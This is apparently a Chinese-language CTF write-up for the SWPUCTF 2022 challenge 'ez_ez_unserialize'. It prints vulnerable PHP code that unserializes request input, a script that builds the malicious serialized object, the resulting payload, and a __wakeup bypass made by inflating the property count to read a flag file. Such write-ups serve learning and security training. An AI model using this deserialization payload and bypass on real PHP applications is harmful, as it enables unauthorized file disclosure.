复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
doubt。3 小时前
【BUUCTF】BUU XSS COURSE 11
笔记·学习·安全·web安全·网络安全·web·xss
黑客笔记4 小时前
xctf-comment(Intruder,git恢复,SQL注入,Hex解码)
web安全·网络安全
希望奇迹很安静12 小时前
[HCTF 2018]WarmUp
学习·web安全·ctf·buuctf
Aimin202220 小时前
网络安全---CMS指纹信息&实战
安全·web安全
然然阿然然20 小时前
2025.1.20——一、[RCTF2015]EasySQL1 二次注入|报错注入|代码审计
数据库·sql·学习·安全·web安全·网络安全
m0_7482329221 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
网络安全Max1 天前
Web安全|渗透测试|网络安全
安全·web安全
zzz的安全之路1 天前
CVE-2025-0582
web安全
索然无味io2 天前
PHP基础--流程控制
前端·笔记·后端·学习·web安全·网络安全·php